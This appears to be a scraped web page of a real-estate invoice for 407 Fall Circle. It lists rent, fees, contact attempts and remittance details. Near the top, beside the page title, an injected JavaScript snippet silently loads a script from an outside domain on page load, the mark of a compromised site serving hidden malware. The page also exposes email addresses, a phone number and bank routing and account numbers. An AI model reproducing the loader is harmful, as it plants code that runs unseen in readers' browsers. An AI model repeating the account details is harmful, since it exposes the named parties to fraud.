» Landlord Invoice – 407 Fall Circle – OCTOBER 2019 – copy

;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); » Landlord Invoice – 407 Fall Circle – OCTOBER 2019 – copy

Invoice

From:

IDEA REAL ESTATE

PO 6095
Bryan Texas 77805

bill@ideabcs.com

Invoice Number	INV-0035
Invoice Date	October 7, 2019
Total Due	$172.50

To:

Metrium LLC

metriumllc@gmail.com

407 FALL CIRCLE	Deposit	Rent Pd	Rental Fees	Rental Services	Move In	Outstanding Balance
A	$785.00	$1315.00	$78.90	0	$0	$392.50
B	$785.00	$750.00	$45.00		$0
D	$810.00	$810.00	$48.60	0	$0

Total	$2355.00	$2875.00	$172.50			$392.50

Rental Service Details:

407 FALL CIRCLE	ITEM	DATE	TIME
A	Collection A	10/6	11:00 am
B	COLLECT CALL	10/6	1:11 Pm
C-	EMAIL.CYRIA	10/6	742 AM
C-	EMAILED	10/6	152 PM
C-	TEXT MCKAME	10/6	1245 AM
C-	TEXT MONICA	10/6	1252 PM
C	TEXT MONICA	10/7	931 AM
C	EMAIL LEVETA	10/7	940 AM
C	TEXT MYA	10/7	1115 AM
C	TEXT CONNOR	10/7	1145 AM
C	TEXT FRY	10/7	1208 PM
C	CALLED 3616909009	10/8	740 AM

Hrs/Qty	Service	Rate/Price	Adjust	Sub Total
1	172.50407 Falls Circle Monthly Service Fees	$172.50	0.00%	$172.50

Sub Total	$172.50
Tax	$0.00
Total Due	$172.50

Remit to:
Marketing Southwest
Routing 113125995
Account 702000304330